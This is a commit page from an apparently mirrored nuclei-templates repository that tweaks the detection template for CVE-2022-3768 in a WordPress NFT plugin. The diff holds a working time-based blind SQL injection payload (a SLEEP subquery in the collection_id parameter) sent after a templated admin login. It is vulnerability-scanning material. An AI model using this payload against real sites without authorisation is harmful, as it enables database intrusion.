daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2022-3768.yaml

patch-1
J4vaovo 2024-02-06 23:41:49 +08:00 committed by GitHub
parent 4ac99f3c3e
commit 1a04cef30c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 3 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
http/cves/2022/CVE-2022-3768.yaml
View File

@ -42,15 +42,15 @@ http:
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- | - |
GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(5)))hlAf)&uid=1 HTTP/1.1 GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&uid=1 HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
matchers: matchers:
- type: dsl - type: dsl
dsl: dsl:
- 'duration_2>=5' - 'duration_2>=7'
- 'status_code_2 == 200' - 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")' - 'contains(content_type_2, "text/html")'
- 'contains(body_2, "Batch Mint NFTs")' - 'contains(body_2, "Batch Mint NFTs")'
condition: and condition: and
# digest: 4a0a0047304502205bb782c359a725b2984058e0e651bbdba6fcc66900a008556d94b206c7da4da2022100939b2ae486240f5e9b07c096422b5c39f81487ea2a1357740cc4d97fbf67299a:922c64590222798bb761d5b6d8e72950 # digest: 4a0a0047304502205bb782c359a725b2984058e0e651bbdba6fcc66900a008556d94b206c7da4da2022100939b2ae486240f5e9b07c096422b5c39f81487ea2a1357740cc4d97fbf67299a:922c64590222798bb761d5b6d8e72950